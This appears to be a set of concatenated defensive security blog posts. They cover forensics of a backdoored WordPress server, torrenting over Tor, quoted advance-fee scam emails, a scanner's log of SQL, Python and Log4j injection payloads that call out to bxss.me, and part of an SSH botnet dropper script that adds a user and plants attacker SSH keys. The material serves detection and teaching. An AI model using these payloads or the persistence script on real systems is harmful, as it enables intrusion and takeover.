The metadata saved by Dissect for each filesystem entry includes, among others, fields like access time (atime), modification time (mtime), change time (ctime), birth time (btime), permissions (mode), path, uid and gid:

$ target-query -q wordpress.qcow2 -f walkfs --limit 2 | rdump -l
RecordDescriptor("filesystem/entry", [
    ("string", "hostname"),
    ("string", "domain"),
    ("datetime", "atime"),
    ("datetime", "mtime"),
    ("datetime", "ctime"),
    ("datetime", "btime"),
    ("varint", "ino"),
    ("path", "path"),
    ("filesize", "size"),
    ("uint32", "mode"),
    ("uint32", "uid"),
    ("uint32", "gid"),
    ("string[]", "fstypes"),
    ("string", "_source"),
    ("string", "_classification"),
    ("datetime", "_generated"),
    ("varint", "_version"),
])

To narrow down the files created on the last activity day, we filtered the raw data as following:

$ awk -F, '$6 ~ /^2025-04-15/' filesystem_entries.csv | cut -d, -f3,4,5,6,8,9,10 > btime_2025-04-15.csv

If we look into btime_2025-04-15.csv, we'll notice some files that are usually created daily such as logs, backups or caches. Apart from that, there are a suspicious amount of files created in the static content of the WordPress compromised domain:

$ cat btime_2025-04-15.csv | sort -k4 | cut -d, -f5
/srv/www/wp_domain/wp-content/defaults.php
/srv/www/wp_domain/wp-content/item.php
/srv/www/wp_domain/wp-content/mah.php
/srv/www/wp_domain/wp-content/plugins/code-snippets/dist/editor-themes/index.php
/srv/www/wp_domain/wp-content/plugins/code-snippets/js/manage/click.php
/srv/www/wp_domain/wp-content/plugins/gutenberg/build-module/interactivity-router/index.php
/srv/www/wp_domain/wp-content/plugins/gutenberg/build/customize-widgets/mah.php
/srv/www/wp_domain/wp-content/plugins/gutenberg/build/edit-site/plugins.php
/srv/www/wp_domain/wp-content/themes/twentynineteen/sass/typography/index.php
/srv/www/wp_domain/wp-content/themes/twentyseventeen/template-parts/footer/index.php
/srv/www/wp_domain/wp-content/wp-log1n.php
/srv/www/wp_domain/wp-content/plugins/gutenberg/build/react-refresh-entry/index.php
/srv/www/wp_domain/wp-content/plugins/add-search-to-menu/public/css/index.php
/srv/www/wp_domain/wp-content/plugins/code-snippets/php/admin-menus/wp-log1n.php
/srv/www/wp_domain/wp-content/plugins/file-manager-advanced/application/library/index.php
/srv/www/wp_domain/wp-content/plugins/file-manager-advanced/application/pages/index.php
/srv/www/wp_domain/wp-content/plugins/folders/assets/images/index.php
/srv/www/wp_domain/wp-content/plugins/folders/templates/admin/networks.php
/srv/www/wp_domain/wp-content/plugins/gutenberg/build/block-editor/index.php
/srv/www/wp_domain/wp-content/plugins/gutenberg/build/block-serialization-default-parser/index.php
/srv/www/wp_domain/wp-content/plugins/gutenberg/build/block-serialization-spec-parser/index.php
/srv/www/wp_domain/wp-content/plugins/gutenberg/build/blocks/index.php
/srv/www/wp_domain/wp-content/plugins/gutenberg/build/core-data/index.php
/srv/www/wp_domain/wp-content/plugins/gutenberg/build/dom/index.php
/srv/www/wp_domain/wp-content/plugins/gutenberg/build/edit-post/index.php
/srv/www/wp_domain/wp-content/plugins/gutenberg/build/element/index.php
/srv/www/wp_domain/wp-content/plugins/gutenberg/build/format-library/index.php
/srv/www/wp_domain/wp-content/plugins/gutenberg/build/hooks/index.php
/srv/www/wp_domain/wp-content/plugins/gutenberg/build/i18n/index.php
/srv/www/wp_domain/wp-content/plugins/gutenberg/build/router/index.php
/srv/www/wp_domain/wp-content/plugins/translatepress-multilingual/assets/images/index.php
/srv/www/wp_domain/wp-content/plugins/translatepress-multilingual/assets/lib/networks.php
/srv/www/wp_domain/wp-content/plugins/translatepress-multilingual/includes/mtapi/index.php
/srv/www/wp_domain/wp-content/plugins/wp-file-manager/lib/img/index.php
/srv/www/wp_domain/wp-content/themes/twentyeleven/images/headers/index.php
/srv/www/wp_domain/wp-content/themes/twentytwentyone/template-parts/header/index.php

It looks like we've already stumbled upon some suspicious files such as wp-log1n.php or mah.php, but let's not get ahead of ourselves.

When a WordPress server is infected, the attackers are typically dropping malicious files across several directories (plugins, themes, wp-content) to plant multiple backdoors. So, let's not get intimidated by the numbers of suspicious scripts and see how many unique ones we are actually dealing with.

Using file hashing, we can quickly group duplicates and we can also check them against known external malware databases such as VirusTotal to confirm if they are suspicious indeed.

$ cat btime_2025-04-15.csv | sort -k4 | cut -d, -f5 | grep "srv/www/wp_domain" | xargs -I{} sh -c 'target-fs -q wordpress.qcow2 cat "{}" | sha256sum' > server_files_sha256sum.csv

By submitting these hashes to VirusTotal reveals that all of them are some kind of PHP backdoor, shellcode or trojan:

Attempting to take a peek through each of them, we made the following observations:

• the code is obfuscated PHP - it contains random variable names and goto chains.
• many files have similar content, but the goto tags and the random variable names are leading to different hashes, despite the content being quite similar.

Upon further inspection, we found some low hanging fruits - in the following files, domains and suspicious URLs appear in plain text:

/srv/www/wp_domain/wp-content/mah.php
/srv/www/wp_domain/wp-content/plugins/gutenberg/build/block-serialization-default-parser/index.php
/srv/www/wp_domain/wp-content/plugins/gutenberg/build/hooks/index.php
/srv/www/wp_domain/wp-content/plugins/gutenberg/build/i18n/index.php
/srv/www/wp_domain/wp-content/plugins/translatepress-multilingual/assets/images/index.php
/srv/www/wp_domain/wp-content/themes/twentytwentyone/template-parts/header/index.php

These scripts contain URLs pointing to external servers, likely used to download additional payloads or send stolen data:

hxxps://user-images[.]githubusercontent[.]com/143735067/264713238-ae810af4-c98d-421f-bbb3-1ddcc58f952a[.]jpg
hxxps://paste[.]myconan[.]net/495929[.]txt
hxxps://web[.]archive[.]org/web/20040114105613im_/

We checked these URLs on VirusTotal as well:

Unfortunately, not all the scripts are written in plain text.

/srv/www/wp_domain/wp-content/defaults.php
/srv/www/wp_domain/wp-content/item.php
/srv/www/wp_domain/wp-content/plugins/code-snippets/dist/editor-themes/index.php
/srv/www/wp_domain/wp-content/plugins/gutenberg/build-module/interactivity-router/index.php
/srv/www/wp_domain/wp-content/plugins/gutenberg/build/edit-site/plugins.php
/srv/www/wp_domain/wp-content/wp-log1n.php
/srv/www/wp_domain/wp-content/plugins/add-search-to-menu/public/css/index.php

Some are heavily obfuscated:

Investigating one such script revealed the following behavior:

• Initially, it tests if _SESSION['secretyt'] is set.
• If the session is not set, the script expectes a POST request that sets the query param pwdyt to a specific value.
• If the query param is not set, the script renders an HTML form with the input pwdyt waiting for the correct password.
• The PHP script is opening a curl session on a specific (malicious) external URL

To retrieve the URLs from these files, we needed to deobfuscate them with the following technique:

1. Decode the ASCII characters from hex, octal or decimal to the human readable character.
2. Follow along the chain of gotos that lead to the reversed final URL.

Again, we found URLs to external servers, likely used to download additional payloads or shellcodes:

hxxps://dama01[.]top/
hxxps://dama01[.]top/dama/old/7[.]txt
hxxps://dama10[.]top/dama/new/139[.]txt
hxxps:/raw[.]githubusercontent[.]com/brandonokk/janfiles/refs/heads/main/dama/old/142[.]txt

It's clear that this wordpress instance is infected with multiple backdoors that allow the attackers to download new payloads and execute malicious code using eval().

What's not clear is how the attack started in the first place. To actually understand that, we have to dig deeper than the day of the attack. We leveraged dissect once more - this time we are using target-shell to simulate a read-only shell where we can investigate freely to check for other suspicious files.

$ target-shell wordpress.qcow2

wordpress: ls -l /srv/www/wp_domain/
total 31
-rw-r--r-- 1000 1000        532 2023-03-04T12:05:05.387214+00:00 .htaccess
drwxr-xr-x 1000 1000       4096 2023-01-24T11:17:06.426740+00:00 .tmb
-rw-r--r-- 1000 1000     177999 2023-01-24T11:17:06.426740+00:00 1.php
drwxr-xr-x 1000 1000       4096 2023-01-24T11:17:06.426740+00:00 ALFA_DATA
-rw-r--r-- 1000 1000        852 2023-01-24T11:17:06.426740+00:00 header.php
-rw-r--r-- 1000 1000        405 2023-01-24T11:17:04.314693+00:00 index.php
-rw-r--r-- 1000 1000        852 2023-01-24T11:17:06.426740+00:00 indexx.php
-rw-r--r-- 1000 1000      17481 2023-01-24T11:17:06.426740+00:00 jh.php
-rw-r--r-- 1000 1000      19915 2024-10-10T18:29:36.287834+00:00 license.txt
-rw-r--r-- 1000 1000      24880 2023-01-24T11:17:06.426740+00:00 licenza.html
-rw-r--r-- 1000 1000        852 2023-01-24T11:17:06.426740+00:00 news.php
-rw-r--r-- 1000 1000       1179 2023-01-24T11:17:06.426740+00:00 options.php
-rw-r--r-- 1000 1000       7409 2024-10-10T18:29:32.591767+00:00 readme.html
-rw-r--r-- 1000 1000     196918 2023-01-24T11:17:06.426740+00:00 test.php
-rw-r--r-- 1000 1000       7387 2024-10-10T18:29:36.287834+00:00 wp-activate.php
drwxr-xr-x 1000 1000       4096 2024-10-10T18:29:36.287834+00:00 wp-admin
-rw-r--r-- 1000 1000        351 2023-01-24T11:17:04.314693+00:00 wp-blog-header.php
-rw-r--r-- 1000 1000       2323 2024-10-10T18:29:36.287834+00:00 wp-comments-post.php
-rw-r--r-- 1000 1000       3033 2024-10-10T18:29:32.591767+00:00 wp-config-sample.php
-rw-r--r-- 1000 1000       3735 2024-11-05T08:26:48.203246+00:00 wp-config.php
dr-xr-xr-x   33   33       4096 2025-04-15T06:45:08.559303+00:00 wp-content
-rw-r--r-- 1000 1000       5638 2024-10-10T18:29:32.567766+00:00 wp-cron.php
drwxr-xr-x 1000 1000      12288 2024-10-10T18:29:36.395835+00:00 wp-includes
-rw-r--r-- 1000 1000       2502 2024-10-10T18:29:36.287834+00:00 wp-links-opml.php
-rw-r--r-- 1000 1000       3937 2024-10-10T18:29:34.339798+00:00 wp-load.php
-rw-r--r-- 1000 1000      51238 2024-10-10T18:29:36.287834+00:00 wp-login.php
-rw-r--r-- 1000 1000       8525 2024-10-10T18:29:32.591767+00:00 wp-mail.php
-rw-r--r-- 1000 1000      28774 2024-10-10T18:29:32.591767+00:00 wp-settings.php
-rw-r--r-- 1000 1000      34385 2024-10-10T18:29:32.567766+00:00 wp-signup.php
-rw-r--r-- 1000 1000       4885 2024-10-10T18:29:36.287834+00:00 wp-trackback.php
-rw-r--r-- 1000 1000       3246 2024-10-10T18:29:34.339798+00:00 xmlrpc.php

We noticed that there are many more suspicious files such as 1.php, jh.php, indexx.php and so on. The one that really picked our interest was ALFA_DATA. This is a signature commonly associated with the Alfa Team shell, a PHP web shell used by attackers to gain unauthorized access and control over compromised web servers.

Unfortunately, investigating the birth dates of these files revealed that the system was compromised a while ago:

$ tree ALFA_DATA/
/srv/www/wp_domain/ALFA_DATA/alfacgiapi:
.htaccess
bash.alfa
perl.alfa
py.alfa

$ stat ALFA_DATA/alfacgiapi/perl.alfa
  File: /srv/www/wp_domain/ALFA_DATA/alfacgiapi/perl.alfa
  Size: 542       Blocks: 8    IO Block: 4096     regular file
Device: ?     Inode: 286224      Links: 1
Access: (0o644/-rw-r--r--)  Uid: ( 1000 )   Gid: ( 1000 )
Access: 2023-03-17T08:22:40.829812+00:00
Modify: 2023-01-24T11:17:06.426740+00:00
Change: 2024-10-11T08:20:58.476943+00:00
 Birth: 2023-01-24T11:17:06.426740+00:00

There are no Apache logs retained from that period of time making it impossible to identify the attack vector that lead to the first infection.

SOCcare​

The SOCcare project is co-funded by the European Union, alongside our collaborators, NRD Cyber Security and RevelSI, and supported by the European Cybersecurity Competence Centre (ECCC) Centre (ECCC) under Grant Agreement No. 101145843. Views and opinions expressed are however those of the author(s) only and do not necessarily reflect those of the European Union or the European Cybersecurity Competence Centre. Neither the European Union nor the European Cybersecurity Competence Centre can be held responsible for them.

Don't miss out, we have juicy threat intelligence stuff as well (but only for your eyes)! Register here and we'll send you an invite!

SOCcare​

The SOCcare project is co-funded by the European Union, alongside our collaborators, NRD Cyber Security and RevelSI, and supported by the European Cybersecurity Competence Centre (ECCC) Centre (ECCC) under Grant Agreement No. 101145843. Views and opinions expressed are however those of the author(s) only and do not necessarily reflect those of the European Union or the European Cybersecurity Competence Centre. Neither the European Union nor the European Cybersecurity Competence Centre can be held responsible for them.

Usually, you monitor everything that can be monitored (kinda like a Big Brother): from your devices, services to the wild, wild Internet. While your local network is accessible, monitoring the rest of the Internet might be a really tricky task. One of the most challenging tasks is to monitor the dark web since it is usually only accessible via TOR. This blog post presents some general aspects of how a cybersecurity analyst can use TOR to analyze artifacts that can only be found on the dark web.

While torrenting over TOR is not recommended due to putting strain on the TOR network, the Bittorrent protocol can work over it and there might be situations where you need to be able to torrent something through TOR (such as when the tracker is also hosted on TOR).

Requirements​

• a Linux machine (either a privacy focused distribution like Tails, a regular VM or a VPS)
• TOR
• a torrent client; this guide will use Transmission.

Setup​

Installing and enabling TOR​

Install tor by following the instructions listed here.

Summary​

Run the following commands as the root user.

Ubuntu/Debian

apt install -y apt-transport-https lsb-release
distribution="$(lsb-release -sc)"
echo "   deb     [signed-by=/usr/share/keyrings/deb.torproject.org-keyring.gpg] https://deb.torproject.org/torproject.org ${distribution} main
   deb-src [signed-by=/usr/share/keyrings/deb.torproject.org-keyring.gpg] https://deb.torproject.org/torproject.org ${distribution} main" | tee /etc/apt/sources.list.d/tor.list
wget -qO- https://deb.torproject.org/torproject.org/A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89.asc | gpg --dearmor | tee /usr/share/keyrings/deb.torproject.org-keyring.gpg >/dev/null
apt update
apt install tor deb.torproject.org-keyring

systemctl enable --now tor

Fedora

echo '[tor]
name=Tor for Fedora $releasever - $basearch
baseurl=https://rpm.torproject.org/fedora/$releasever/$basearch
enabled=1
gpgcheck=1
gpgkey=https://rpm.torproject.org/fedora/public_gpg.key
cost=100' > /etc/yum.repos.d/tor.repo
dnf install tor

systemctl enable --now tor

Installing transmission​

Ubuntu/Debian

apt install transmission-common transmission-daemon

Fedora

dnf install transmission-common transmission-daemon

Downloading the torrent​

Configuring transmission​

In order to use TOR both for resolving the hostname of the tracker and for tunnelling traffic, we need to edit the configuration file of transmission-daemon and set the http_proxy environment variable to socks5h://127.0.0.1:9050.

Run the command below and add the following line under the [Service] section: Environment=http_proxy=socks5h://127.0.0.1:9050/

systemctl edit --full transmission-daemon.service

Example of how the file should look now:

[Unit]
Description=Transmission BitTorrent Daemon
Wants=network-online.target
After=network-online.target

[Service]
User=debian-transmission
Type=simple
Environment=http_proxy=socks5h://127.0.0.1:9050/
ExecStart=/usr/bin/transmission-daemon -f --log-level=error
ExecReload=/bin/kill -s HUP $MAINPID
NoNewPrivileges=true
MemoryDenyWriteExecute=true
ProtectSystem=true
PrivateTmp=true

[Install]
WantedBy=multi-user.target

Reload the service file configuration, and start the service.

systemctl daemon-reload
systemctl enable --now transmission-daemon

Downloading the torrent​

In order to download the torrent you need to use the transmission-remote command.

Some good documentation can be found here.

In order to add a torrent file run use the following command:

transmission-remote -n 'transmission:transmission' -a /path/to/torrent/file.torrent

By default, you will find the downloads under /var/lib/transmission/downloads.

SOCcare​

The SOCcare project is co-funded by the European Union, alongside our collaborators, NRD Cyber Security and RevelSI, and supported by the European Cybersecurity Competence Centre (ECCC) Centre (ECCC) under Grant Agreement No. 101145843. Views and opinions expressed are however those of the author(s) only and do not necessarily reflect those of the European Union or the European Cybersecurity Competence Centre. Neither the European Union nor the European Cybersecurity Competence Centre can be held responsible for them.

... But we know you are here for the threat intelligence, so don't worry, there will be some of that too, but only for your eyes.

Don't miss out! Register here and we'll send you an invite!

SOCcare​

The SOCcare project is co-funded by the European Union, alongside our collaborators, NRD Cyber Security and RevelSI, and supported by the European Cybersecurity Competence Centre (ECCC) Centre (ECCC) under Grant Agreement No. 101145843. Views and opinions expressed are however those of the author(s) only and do not necessarily reflect those of the European Union or the European Cybersecurity Competence Centre. Neither the European Union nor the European Cybersecurity Competence Centre can be held responsible for them.

If you are enticed by their offer, you can send them your personal information in return (name, bank information and so on).

Beware! If something sounds too good to be true, it usually is a scam. As presented in this blog post from Bitdefender, spam campaigns tend to multiply like mushrooms during December.

Some of them might seem innocent (you just have to reply, nothing more, see below), but, in reality, your response/action shows the attackers that your email is still active and they can continue phishing for information. Others may directly request bank data (check the second spam sample) or, even worse, send you malicious files.

See below such spam message received by one of our colleagues:

 From: ANNA LESZCYNSKA <annaleszcynska86@gmail.com>
Date: Tue, 17 Dec 2024 at 15:56
Subject: Thank God
To:

 Donation From Mrs Anna Leszcynska.

Dearest one,

 Complement of the season to you & family know that this letter may come to you as a surprise, I believe that you will be honest and sincere to fulfill my final wish before I die. I am presently in Abidjan, Ivory Coast, West-Africa .Since eight years ago as a business woman dealing with cocoa exportation; I am Anna Leszczynska malgorzata 54 years old now suffering from a long time colon cancer. From all indications, my condition is really deteriorating, and my doctors have courageously advised me that I may not live beyond the next One Month, this is because the cancer stage has reached a critical stage. I have no children. My husband died in a fatal motor accident some years back, since his death I decided not to re- marry because of my bad health.


 Before The death of my husband, he deposited the sum of four million four hundred thousand dollars in the bank, I want you to assist me in order to claim the fund from the bank, the sum of Four Million Four Hundred Thousand United States Dollars as my husband's foreign business partner, after you have received the Fund to your account in your country, you will then use it for humanitarian project. Keep 30% of the money for yourself for your help to my wish and invest the rest of the money in humanitarian projects. I believe you are in a better position to help me claim the Fund from the Bank, As soon as I receive your reply I shall give you the contact of the Bank where the Fund is deposited.

 Please assure me that you will act accordingly as I stated here. If you are interested kindly reply immediately and always remember me in your daily prayers thanks and remain blessed.

Regards Anna.

How to easily identify spam messages:

• check the source and the destination. You can see that the "To: " section is empty. Our colleague's email address was added as BCC. Most of the time, this implies that a mass email was sent and recipients shouldn’t know about each other.
• double-check if you know that person. One fast Google search for this person's name (Anna Leszczynska malgorzata) shows multiple links to posts regarding scam activities under this name.
• very sad and emotional story, usually implying an illness or death of someone, trying to pull on your heart strings. In this case, the sender is supposed to die in a very short time (so you have to respond ASAP and not lose the opportunity).
• the large amount of money this good samaritan wants to donate to you (Why you? Who knows? They must have found your CV somewhere and you impressed them so so much).

Here you have a very comprehensive blog post on how you can spot scams and keep your digital data secure. Other interesting (and recent) articles on this topic can be found here:

• https://blog.google/products/gmail/gmail-holidays-2024-spam-scam/
• https://thehackernews.com/2024/12/ongoing-phishing-and-malware-campaigns.html
• https://news.trendmicro.com/2024/12/17/christmas-scams-2024/

Another spam sample received by our colleagues can be found below. This time, the “To” field is filled with a mail address (usually to bypass the spam filters). Here, the sender implies that you had a previous discussion (over the phone) and this is just a follow-up message. In order to complete the “financial transfer”, you have to generously send them a lot of your personal information (which can then be used for other fraudulent activities). The “RE: REF …” at the beginning of the subject is there to trick you: you might think the message is a reply to a previous conversation. Moreover, there seems to be a payment reference which makes things look more credible.

From: M a u r i c e <brickshire00-005@cepimose.si>
Date: Wed, 11 Dec 2024 at 05:36
Subject: A T T N: Beneficiary
To: <brickshire00-005@cepimose.si>


ATTN: Beneficiary

RE: REF: PAY/APRD-783/0945/NO

Dear Customer,

Following all our fruitless efforts to reach you on the phone as regards to the payment order received in your favor, this is to officially notify you that your payment, with its full interest, is now 100% approved for final transfer, and this fund release instruction will be carried out swiftly upon your good compliance. So therefore you are requested to kindly re-confirm to us as listed below so we can commence with immediate release of your fund as instructed via Bank to Bank wire Transfer respectively. To enable us commence with the procedures for a smooth completion of transaction, you are requested to attach a copy of your valid means of identification, also furnish us with the below personal and banking details.

RE-CONFIRM AS LISTED BELOW:

BENEFICIARY'S FULL NAME:
BENEFICIARY'S CONTACT ADDRESS:
BENEFICIARY'S ACTIVE TEL NUMBER:
BENEFICIARY'S MOBILE NUMBER:

BENEFICIARY'S BANK NAME:
BENEFICIARY'S BANK ADDRESS:
BANK SWIFT CODE:
BANK ROUTING NUMBER:
BANK IBAN NUMBER:
BANK ACCOUNT NUMBER:
BENEFICIARY'S ACCOUNT NAME:

Looking forward to your swift response to enable us to serve you better.

Yours Truly,

MR, Maurice Donald
Head of Operations, Santander Bank UK plc
London, NW1 3AN, United Kingdom.

Here is yet another comprehensive article on how to spot scams, by the company this scammer impersonated.

So, keep in mind: if something sounds too good to be true, it probably is a scam. Keep a sharp eye, stay safe and don’t read your (spam) emails during the Christmas holidays (you should probably spend that time with your loved ones).

SOCcare​

The SOCcare project is co-funded by the European Union, alongside our collaborators, NRD Cyber Security and RevelSI, and supported by the European Cybersecurity Competence Centre (ECCC) Centre (ECCC) under Grant Agreement No. 101145843. Views and opinions expressed are however those of the author(s) only and do not necessarily reflect those of the European Union or the European Cybersecurity Competence Centre. Neither the European Union nor the European Cybersecurity Competence Centre can be held responsible for them.

We first noticed this particularly aggressive scan on our support ticketing platform during September 2024, with over 18 000 requests in the span of 20 minutes from 52.86.221.173.

[root@server tmp]# cat osticket_syslog.txt | grep 52.86.221.173 | grep 2024-09-07 | less | wc -l
18546

The scanner was fuzzing the new ticket form, but it couldn't figure out how to use the CSRF token, since all the logs were for an invalid CSRF token.

52.86.221.173   2024-09-07 21:41:57     Invalid CSRF token [c4264157534f1acc5c9a36b88aab9f3dc25c11b9] on https://[REDACTED]/open.php
52.86.221.173   2024-09-07 21:41:57     Invalid CSRF token [c4264157534f1acc5c9a36b88aab9f3dc25c11b9] on https://[REDACTED]/open.php
52.86.221.173   2024-09-07 21:41:57     Invalid CSRF token [c4264157534f1acc5c9a36b88aab9f3dc25c11b9] on https://[REDACTED]/open.php
52.86.221.173   2024-09-07 21:41:57     Invalid CSRF token [c4264157534f1acc5c9a36b88aab9f3dc25c11b9] on https://[REDACTED]/open.php
52.86.221.173   2024-09-07 21:41:57     Invalid CSRF token [c4264157534f1acc5c9a36b88aab9f3dc25c11b9] on https://[REDACTED]/open.php
52.86.221.173   2024-09-07 21:41:57     Invalid CSRF token [c4264157534f1acc5c9a36b88aab9f3dc25c11b9] on https://[REDACTED]/open.php
52.86.221.173   2024-09-07 21:41:57     Invalid CSRF token [c4264157534f1acc5c9a36b88aab9f3dc25c11b9] on https://[REDACTED]/open.php
52.86.221.173   2024-09-07 21:41:58     Invalid CSRF token [c4264157534f1acc5c9a36b88aab9f3dc25c11b9] on https://[REDACTED]/open.php
52.86.221.173   2024-09-07 21:41:58     Invalid CSRF token [c4264157534f1acc5c9a36b88aab9f3dc25c11b9] on https://[REDACTED]/open.php
52.86.221.173   2024-09-07 21:41:58     Invalid CSRF token [c4264157534f1acc5c9a36b88aab9f3dc25c11b9] on https://[REDACTED]/open.php
52.86.221.173   2024-09-07 21:41:58     Invalid CSRF token [c4264157534f1acc5c9a36b88aab9f3dc25c11b9] on https://[REDACTED]/open.php
52.86.221.173   2024-09-07 21:41:58     Invalid CSRF token [c4264157534f1acc5c9a36b88aab9f3dc25c11b9] on https://[REDACTED]/open.php
52.86.221.173   2024-09-07 21:41:58     Invalid CSRF token [c4264157534f1acc5c9a36b88aab9f3dc25c11b9] on https://[REDACTED]/open.php

What makes it obvious this is just an aggressive scan and not a targeted attack is the lack of technology identification. The attempts ranged from XSS and SQL injection to SSTI and path traversals. There were even some Log4j exploitation attempts in there.

[...]
52.86.221.173   2024-08-24 16:15:58     Invalid CSRF token ['+str(__import__("time").sleep(9))+__import__("socket").gethostbyname("hitjninzrcvuhec149."+"bxss.me")+'] on https://[REDACTED]/open.php
[...]
52.86.221.173   2024-09-07 21:46:06     Invalid CSRF token [(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/] on https://[REDACTED]/login.php
[...]
52.86.221.173   2024-09-07 21:57:25     Invalid CSRF token [${j${::-n}di:dns${::-:}${::-/}${::-/}hitnjcedohhyn07a72${::-.}bxss.me}zzzz${url:UTF-8:http://hitivynwrnhqr.bxss.me/}] on https://[REDACTED]/open.php
[...]

Taking a look at the IP the requests were coming from, we can see it belongs to AWS, most probably an EC2 instance.

➜ whois 52.86.221.173

#
# ARIN WHOIS data and services are subject to the Terms of Use
# available at: https://www.arin.net/resources/registry/whois/tou/
#
# If you see inaccuracies in the results, please report at
# https://www.arin.net/resources/registry/whois/inaccuracy_reporting/
#
# Copyright 1997-2024, American Registry for Internet Numbers, Ltd.
#


NetRange:       52.84.0.0 - 52.95.255.255
CIDR:           52.88.0.0/13, 52.84.0.0/14
NetName:        AT-88-Z
NetHandle:      NET-52-84-0-0-1
Parent:         NET52 (NET-52-0-0-0-0)
NetType:        Direct Allocation
OriginAS:       AS16509, AS14618
Organization:   Amazon Technologies Inc. (AT-88-Z)
RegDate:        1991-12-19
Updated:        2022-03-21
Ref:            https://rdap.arin.net/registry/ip/52.84.0.0



OrgName:        Amazon Technologies Inc.
OrgId:          AT-88-Z
Address:        410 Terry Ave N.
City:           Seattle
StateProv:      WA
PostalCode:     98109
Country:        US
RegDate:        2011-12-08
Updated:        2024-01-24
Comment:        All abuse reports MUST include:
Comment:        * src IP
Comment:        * dest IP (your IP)
Comment:        * dest port
Comment:        * Accurate date/timestamp and timezone of activity
Comment:        * Intensity/frequency (short log extracts)
Comment:        * Your contact details (phone and email) Without these we will be unable to identify the correct owner of the IP address at that point in time.
Ref:            https://rdap.arin.net/registry/entity/AT-88-Z


OrgRoutingHandle: IPROU3-ARIN
OrgRoutingName:   IP Routing
OrgRoutingPhone:  +1-206-555-0000
OrgRoutingEmail:  aws-routing-poc@amazon.com
OrgRoutingRef:    https://rdap.arin.net/registry/entity/IPROU3-ARIN

OrgNOCHandle: AANO1-ARIN
OrgNOCName:   Amazon AWS Network Operations
OrgNOCPhone:  +1-206-555-0000
OrgNOCEmail:  amzn-noc-contact@amazon.com
OrgNOCRef:    https://rdap.arin.net/registry/entity/AANO1-ARIN

OrgAbuseHandle: AEA8-ARIN
OrgAbuseName:   Amazon EC2 Abuse
OrgAbusePhone:  +1-206-555-0000
OrgAbuseEmail:  trustandsafety@support.aws.com
OrgAbuseRef:    https://rdap.arin.net/registry/entity/AEA8-ARIN

OrgRoutingHandle: ARMP-ARIN
OrgRoutingName:   AWS RPKI Management POC
OrgRoutingPhone:  +1-206-555-0000
OrgRoutingEmail:  aws-rpki-routing-poc@amazon.com
OrgRoutingRef:    https://rdap.arin.net/registry/entity/ARMP-ARIN

OrgTechHandle: ANO24-ARIN
OrgTechName:   Amazon EC2 Network Operations
OrgTechPhone:  +1-206-555-0000
OrgTechEmail:  amzn-noc-contact@amazon.com
OrgTechRef:    https://rdap.arin.net/registry/entity/ANO24-ARIN


#
# ARIN WHOIS data and services are subject to the Terms of Use
# available at: https://www.arin.net/resources/registry/whois/tou/
#
# If you see inaccuracies in the results, please report at
# https://www.arin.net/resources/registry/whois/inaccuracy_reporting/
#
# Copyright 1997-2024, American Registry for Internet Numbers, Ltd.
#

Furthermore, this IP has already been flagged on AbuseIPDB, with activity reported as early as one year ago (September 2023).

We also looked for this IP in our logs to identify what other things it was targeting and found older activity on multiple services and servers.

Takeaway​

It's probably safe to say that you can block this IP without any issues. If it doesn't impact your users you can even block the entire AWS IP block, or even more datacenter IPs through blocklists like the ones provided by FireHOL, but double check that there are no exceptions you need to account for.

SOCcare​

The SOCcare project is co-funded by the European Union, alongside our collaborators, NRD Cyber Security and RevelSI, and supported by the European Cybersecurity Competence Centre (ECCC) Centre (ECCC) under Grant Agreement No. 101145843. Views and opinions expressed are however those of the author(s) only and do not necessarily reflect those of the European Union or the European Cybersecurity Competence Centre. Neither the European Union nor the European Cybersecurity Competence Centre can be held responsible for them.

As part of the SOCcare project where Politehnica Bucharest is one of the partners, we deployed a honeypot to detect and study the SSH botnets’ behavior. During the month of August, we discovered some interesting patterns.

As it can be seen in the picture below, SSH botnets are caught by our honeypot at roughly the same hours.

When zooming in the picture (see below), it seems that most attacks are registered between 8 and 10 AM (EEST).

Upon further inspection, we determined that the attacks are largely the same. We have identified two culprits:

1. Miner disguised as bioset kernel process – VirusTotal Scan of the file downloaded by the botnet on the honeypot.
2. Masscan - GitHub repository.

While the first one usually starts the attacks at 9 AM EEST (sometimes at 8 AM EEST), the second one usually runs at 10 AM. Most of the time it is the same IP that delivers both payloads. An interesting thing is that some of the miners started by the first script are later killed by the second attack.

The picture below shows that the most common IPs are the same, with a nearly identical distribution. Additional checks show that most IPs originate from the same datacenter / VPN services in the Netherlands.

Miner disguised as bioset kernel process​

The payload dropped performs classic operations: from unsetting the history (so the commands won’t show), adding a new user, inserting various SSH keys in authorized_keys file and editing the sudoers file to start cryptomining activities.

useradd -m tty0
cd ~tty0 ; mkdir .ssh ; cd .ssh
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBM4NOmZw9pMeG/jNpQ1qA7cpSfhzy0JvuEgFuoIM3Hartkcdbx1yRKdZ3rdB12Umt7+z5R+Xnl88WOemKJZ35JMK3sqEr1uQ+kA4oq8POfN3QqJ+xZbIdY7Odlc7xquIWhXjPz0d1aKPikQItZ/oVEyewX3Ps1wKLflVSEhKnEIvaXb6Mp5ZYMHe7MNdIoamNgRIDjBi98a3WkXQRCbpjsmulUxdZ+QjmLBbubutqIxdYKkFH5F2sZm1RYcp76mRm26Num+Uoer3ecdoe/CLv9jBfZOyIrL2ICa8bvT5DNhP1CNKYnhMmHDKyjALgxiMjhFisUVW893K6AKt0BUJ/ gbrc@ions5" > authorized_keys
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDxLMf8/BPlrG2ayMqkvncQqxeKPmrP0AynGhindZyNtP/CmEpRgPRZ06yOnvDxbzVhxCo1qLW1SDxpSfEOI4b0RQH+4YJZMzE4cvObPEqhqWRZr6iPrqQqwvGl0HIu+hOdn0KfKiC1yWmBZqvc2AUOP/EniRaVdtgTsI7RG/4fEvoxlaeVvy/Lpkvn5rhAIGaKa/AMSBipBZG/GCTFCHd89xtZ7qtl9nmDjI7FBEZIsCWPz9a4UT2yDqkMvVd2LvZgta+scvv/L+duJ7qR3i6c2nK3h17CqNNBJRZ0jPMMCwpaO+vAYMXSDlnjVBqXN7khTHnmtXwow2byGBM/Ib9z imran@imran" >> authorized_keys
chmod 600 authorized_keys
chown tty0 authorized_keys
chcon -R unconfined_u:object_r:user_home_t:s0 authorized_keys
restorecon -v authorized_keys
cd ..
chmod 700 .ssh
chown -R tty0 .ssh
chattr -R +a +i .ssh
...
grep tty0 /etc/sudoers
if [ $? = 0 ]; then
    echo sudo
